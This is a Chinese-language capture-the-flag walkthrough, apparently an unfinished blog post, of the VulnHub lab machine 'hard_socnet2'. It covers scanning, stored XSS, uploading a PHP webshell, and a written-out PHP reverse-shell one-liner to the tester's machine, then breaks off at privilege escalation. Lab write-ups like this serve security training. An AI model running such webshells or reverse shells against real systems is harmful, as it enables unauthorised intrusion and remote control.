文章目录
靶机地址:
https://download.vulnhub.com/boredhackerblog/hard_socnet2.ova
一、主机发现
netdiscover -r 192.168.56.0/24
靶机的ip:192.168.56.101
kali的ip:192.168.56.102
二、对靶机进一步探测
1、对靶机开放端口、运行的服务和操作系统进行探测
nmap -sV -sC -O -p- 192.168.56.101
靶机开放了22,80,8000三个端口
22跑的是OpenSSH的服务,80端口是apache的http服务,8000端口是python运行的一个BaseHTTPServer;
操作系统探测是Linux 3.2 - 4.9 。
2、访问80,8000端口的http服务
访问8000端口,提示请求方法不对,那么利用burp批量探测一下
都不行
访问80端口,是一个登录框,可以注册用户,注册进去看一下
进去后是个类似留言板的东西,输入个xss语句,还真的执行了
发现还可以上传图片,通过浏览器插件看到脚本语言是php和python
三、获取shell
上传个php的webshell,右击刚才上传图片的地址,用冰蝎连接
成功拿到网站的shell,看一下是否在docker里,发现不在
四、提权
反弹shell
在蚁剑端,将shell反弹到kali
php -r '$sock=fsockopen("192.168.56.102",443);exec("/bin/sh -i <&3 >&3 2>&3");'
反弹成功
查看sudo -l,自动任务/etc/crontab,都没有可以利用的
当来到home下,发现有socnet用户,进去发现ls -la发现一个拥有suid和guid权限的文件,add_record,且是个可执行的文件
留言中admin提到一个monitor.py文件,刚好在这个文件中,查看一下
发现引入了SimpleXMLRPCServer这个模块,并且这个服务开放在8000端口,这也就解释了前面为什么8000端口,用平常的http请求方法访问不了
代码审计
待定